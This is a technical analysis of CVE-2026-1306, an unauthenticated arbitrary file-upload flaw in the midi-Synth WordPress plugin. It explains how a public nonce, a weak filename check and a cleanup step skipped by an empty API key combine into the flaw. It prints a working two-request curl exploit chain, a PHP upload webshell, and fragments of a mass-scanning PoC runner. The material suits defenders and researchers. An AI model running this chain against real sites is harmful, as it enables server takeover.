midiSynth_export's only gate is a nonce that anyone can read
The handler is registered to accept unauthenticated callers. From midiSynth.php:
add_action("wp_ajax_export", "midiSynth_export");
add_action("wp_ajax_nopriv_export", "midiSynth_export");
The nopriv registration is what makes /wp-admin/admin-ajax.php?action=export reachable without a session. Three more handlers in this plugin are registered the same way: soundFontsGS, soundFontsXG, rulesImgs. None of them call current_user_can. The plugin's entire admin-ajax surface is open to the front-end audience.
The nonce midi-Synth uses to gate these endpoints is generated on every page that loads the plugin's scripts. From the same file, in the wp_enqueue_scripts callback:
$midiSynth_nonce = wp_create_nonce( "midiSynth" );
?>
<script type="text/javascript">
var midiSynth_nonce = "<?php echo esc_html( $midiSynth_nonce ); ?>";
</script>
Every WordPress page that has the [midiSynth] shortcode prints this <script> block in the public HTML. An unauthenticated visitor opens the page, parses the source, and harvests the nonce. The nonce is bound to action "midiSynth" and the visitor's session. wp_create_nonce accepts a logged-out session and returns a token for it; the token is valid for 24 hours, scoped to the action name and the current user, which is anonymous user 0 for an unauthenticated visitor. On the receiving side, midiSynth_export calls wp_create_nonce("midiSynth") itself and string-compares:
if( $_midiSynth_nonce !== wp_create_nonce( "midiSynth" ) ){
wp_die( "midiSynth: nonce is incorrect." );
}
The check passes when both ends agree the caller is the same anonymous WordPress visitor. That is the entire identity gate. There is no current_user_can. There is no is_user_logged_in. WordPress's nonce primitive is for replay defense; the developer's read is that it is also for authentication. This is the nonce-is-not-auth shape: nonce equals the freshness check, identity equals nothing, the handler runs.
sanitize_file_name does not block .php
The filename arrives via POST and goes through one validator, midiSynth_validate_fileName:
function midiSynth_validate_fileName($fileName){
$fileName = sanitize_file_name($fileName);
return $fileName;
}
WordPress's sanitize_file_name strips control characters, percent-encoded slashes, and a small set of special characters. It does not inspect the extension. murrez.php is a valid output. The PHP file format is not on WordPress's blocklist for this routine because the routine is not an extension blocklist; it is a path-safety routine. The developer's name for the function, midiSynth_validate_fileName, implies a contract the underlying call does not satisfy.
The write is unconditional. The cleanup is conditional. Read the order.
The handler's body, after the nonce check and the filter_input calls that pull each POST field through its _validate_ function, looks like this:
WP_Filesystem();
global $wp_filesystem;
$path = plugin_dir_path( __FILE__ );
$dir = $path . "sound/";
$content = base64_decode($_fileMidi);
$fileName = $dir . $_fileName;
$wp_filesystem->put_contents( $fileName, $content, FS_CHMOD_FILE );
midiSynth_convert(
$_masterAPIkey,
$_fileMidi,
$_fileName,
$_fileSize,
$_formatAudio,
$_modeAudio,
$_codecAudio,
$_frequencyAudio,
$_resolutionAudio,
$_bitrateAudio
);
//Delete file from /sound directory
$wp_filesystem->delete($fileName);
wp_die();
The order is: write, then convert, then delete. put_contents writes $content (the base64-decoded body) to wp-content/plugins/midi-synth/sound/<fileName>. midiSynth_convert makes an HTTPS request to api2convert.com with the user-supplied API key. The convert function returns. The delete runs. wp_die exits.
That is the happy path. The convert function has its own exits. From midiSynthConvert.php, line 198 onward inside midiSynth_convert:
$responseAsJson = createJob($_masterAPIkey, $conversionData);
$responseAsArray = json_decode($responseAsJson, true);
if(!empty($responseAsArray["errors"])){
echo ("<br>error: ".$responseAsArray["errors"]);
wp_die();
}
createJob POSTs to https://api.api2convert.com/v2/jobs with the API key in the x-oc-api-key header. api2convert.com responds with a JSON object. When the API key is invalid or missing, the JSON contains an errors field. The check !empty($responseAsArray["errors"]) evaluates true. wp_die() exits PHP execution from inside the convert function.
PHP execution exits before the caller gets to line 507. The line that runs the cleanup, $wp_filesystem->delete($fileName), never executes. The file written at line 492 stays on disk.
The empty masterAPIkey is the payload
The PoC sends this dictionary as POST data:
data = {
"action": AJAX_ACTION,
"nonce": nonce,
"masterAPIkey": "",
"fileMidi": file_midi_b64,
"fileName": SHELL_NAME,
"fileSize": "1",
"formatAudio": "mp3",
"modeAudio": "stereo",
"codecAudio": "aac",
"frequencyAudio": "48000",
"resolutionAudio": "16",
"bitrateAudio": "128",
}
masterAPIkey: "" reads as an unconfigured field. It is not. It is the field whose value selects which exit path runs after the file is on disk. A populated, valid API key drives the convert call to success, drives the cleanup, leaves no file. An empty API key drives the convert call to error, drives wp_die(), leaves the file.
The PoC does not exploit a missing check. It exploits the order of three checks that exist.
The nonce check, present, passed by an unauthenticated caller harvesting the token from a public page. The filename validator, present, accepts murrez.php because it never claimed to be an extension blocklist. The cleanup, present, gated on whether a third-party SaaS responded with errors=null. Each one was defended in the developer's mental model. Read end to end, the model presupposes that an attacker who could reach midiSynth_export would also be an attacker who held a valid api2convert.com account.
The chain in two requests
The full attack is two unauthenticated HTTP requests against any WordPress site running midi-Synth ≤ 1.1.0 with at least one published page bearing the [midiSynth] shortcode.
Request one harvests the nonce. The shortcode page returns HTML with the inline script block. A grep against the response body lifts the value:
curl -sk https://target.example/midi-page/ | \
grep -oE 'midiSynth_nonce\s*=\s*"[^"]+"'
# var midiSynth_nonce = "a1b2c3d4e5"
Request two POSTs the upload to admin-ajax.php with the harvested nonce, an empty masterAPIkey, the base64-encoded shell payload, and a filename ending in .php:
SHELL_B64=$(printf '<?php if(isset($_FILES["f"])){move_uploaded_file($_FILES["f"]["tmp_name"],$_FILES["f"]["name"]);}?>' | base64 -w0)
curl -sk "https://target.example/wp-admin/admin-ajax.php" \
--data-urlencode "action=export" \
--data-urlencode "nonce=a1b2c3d4e5" \
--data-urlencode "masterAPIkey=" \
--data-urlencode "fileMidi=${SHELL_B64}" \
--data-urlencode "fileName=shell.php" \
--data-urlencode "fileSize=1" \
--data-urlencode "formatAudio=mp3" \
--data-urlencode "modeAudio=stereo" \
--data-urlencode "codecAudio=aac" \
--data-urlencode "frequencyAudio=48000" \
--data-urlencode "resolutionAudio=16" \
--data-urlencode "bitrateAudio=128"
The response body contains <br>error: followed by whatever message api2convert returned for the empty key. That string is the wp_die output. It is also confirmation that the cleanup did not run, because the cleanup is the line below midiSynth_convert and wp_die returned from inside midiSynth_convert. https://target.example/wp-content/plugins/midi-synth/sound/shell.php now serves the dropped PHP. This is the unauth-write-to-execution-path shape: an unauthenticated POST writes a .php file into a directory the webserver executes as PHP.
The handler narrates its execution to the unauthenticated caller
The convert function does more than fail. Before it fails, it echos its progress as inline HTML, line by line, into the response body:
echo "<b>STEP 2: Create Job:</b>";
// ...
echo "<br>time: ".$responseAsArray["created_at"];
// ...
echo "<br>jobId: ".$jobId;
// ...
echo "<br>upload server: ".$uploadServer;
// ...
echo "<b>STEP 3: Create audio file:</b>";
// ...
echo "<br>format: ".$_formatAudio;
echo "<br>mode: ".$_modeAudio;
echo "<br>codec: ".$_codecAudio;
echo "<br>frequency: ".$_frequencyAudio." Hz";
// ...
For an unauthenticated caller who supplies a working api2convert key, the response is a step-by-step trace of the third-party API's job IDs, upload server hostnames, and timing. The handler is verbose by design; the comments in midiSynthConvert.php mark CURLOPT_VERBOSE => true as // this line is for debugging only. The debugging shipped. The unauthenticated caller is the audience.
That is a side observation. The CVE is the file write. The verbose echoes are testimony to the same mental model: the only person calling midiSynth_export is the site owner debugging their MP3 conversion, and the only thing they need is more output.
What gets dropped
The PoC's payload is not a webshell in the conventional sense. The bytes written under wp-content/plugins/midi-synth/sound/murrez.php are an HTML form plus an upload handler:
<?php if(isset($_FILES['f'])){move_uploaded_file($_FILES['f']['tmp_name'],
$_FILES['f']['name']);echo "Uploaded: ".$_FILES['f']['name'];}?>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="f"><button>Upload</button></form>
A subsequent unauthenticated GET on https://target/wp-content/plugins/midi-synth/sound/murrez.php renders a file-upload form. A subsequent unauthenticated POST to the same URL writes any file the attacker chooses into the same directory, named whatever the attacker sets name to. The first upload is an installer for the second upload. Two layers of unauthenticated file write stacked, each more permissive than the last.
The PoC's runner writes its successes append-mode to a single file:
with file_lock:
successful.append(hit)
with open("shell.txt", "a", encoding="utf-8") as out:
out.write(hit + "\n")
A thread pool of 20 workers, append-only output across runs, hits accumulated to a single file. These are the design choices of an operator accumulating a target list, not a researcher confirming a single finding. The README is in Turkish and ends with a disclaimer that the script is for yetkili güvenlik testi, authorized security testing. This is a disclaimer-wrapped campaign kit: the disclaimer wraps a list runner, the list runner writes its hits to a file the disclaimer does not name, and the file the runner drops at every hit is itself a primitive for additional unauthenticated uploads. Defenders reading the README see lab framing; attackers reading the code see a target accumulator with a payload-staging stage already wired up.
The pattern is in the codebase, not just this CVE
The plugin has six AJAX actions. Five register a nopriv handler. All six gate on the same nonce minted under the same "midiSynth" action name. The nonce's job in WordPress is to distinguish a request the user intended from a request a third party forged. midi-Synth's handlers read it as proof that the caller is the user, full stop. The other five handlers do not write files; they read them, list them, fetch images. The pattern across the codebase is consistent: nonce equals identity, and identity equals authorization. The plugin's design did not contemplate that nonce equals neither.
CVE-2026-1306 closes one instance of the pattern, the export handler that wrote files. The other five handlers still read the same nonce as the same identity proof. A future variant in this codebase would not be a surprise. WordPress's ajax registration model produces this class of bug across the plugin ecosystem with regularity. The substrate is the model. The plugin is a participant.
PoC: murrez/CVE-2026-1306
The PoC sends an empty masterAPIkey on purpose. The deletion lives downstream of the wp_die() the empty masterAPIkey triggers.